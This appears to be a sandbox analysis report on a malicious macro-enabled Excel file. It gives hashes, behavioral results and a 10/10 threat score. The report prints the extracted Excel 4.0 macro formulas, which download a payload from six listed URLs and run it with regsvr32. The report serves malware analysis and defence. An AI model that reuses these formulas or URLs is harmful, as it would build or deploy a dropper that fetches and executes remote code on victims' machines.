General
-
Target
50d99cc234fa7d770d50a83891d58bbe486c1da38b8e177f9a0ccd9ab9ad4dea
-
Size
46KB
-
Sample
241111-vhtzwa1la1
-
MD5
e785f572c40210ac3c81b45a5ca3a99f
-
SHA1
e2a28adcebe1f478b7d8711895c7fa46e5bd5c61
-
SHA256
50d99cc234fa7d770d50a83891d58bbe486c1da38b8e177f9a0ccd9ab9ad4dea
-
SHA512
f7ab3b0fa2f141c241f34d377214a1772da5aff978cda2a900318d0fdd040b83ec8c0c762d6fd97e96ffbddca384262d73c1be8e34b0de3fc399c44dceef774a
-
SSDEEP
768:74xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:76ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Behavioral task
behavioral1
Sample
50d99cc234fa7d770d50a83891d58bbe486c1da38b8e177f9a0ccd9ab9ad4dea.xlsm
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
50d99cc234fa7d770d50a83891d58bbe486c1da38b8e177f9a0ccd9ab9ad4dea.xlsm
Resource
win10v2004-20241007-en
Malware Config
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
https://lifebotl.com/wp-content/233ZS9dDv/
http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/
http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/certificates/v1p9N/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/wp-content/233ZS9dDv/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
Targets
-
-
Target
50d99cc234fa7d770d50a83891d58bbe486c1da38b8e177f9a0ccd9ab9ad4dea
-
Size
46KB
-
MD5
e785f572c40210ac3c81b45a5ca3a99f
-
SHA1
e2a28adcebe1f478b7d8711895c7fa46e5bd5c61
-
SHA256
50d99cc234fa7d770d50a83891d58bbe486c1da38b8e177f9a0ccd9ab9ad4dea
-
SHA512
f7ab3b0fa2f141c241f34d377214a1772da5aff978cda2a900318d0fdd040b83ec8c0c762d6fd97e96ffbddca384262d73c1be8e34b0de3fc399c44dceef774a
-
SSDEEP
768:74xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:76ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-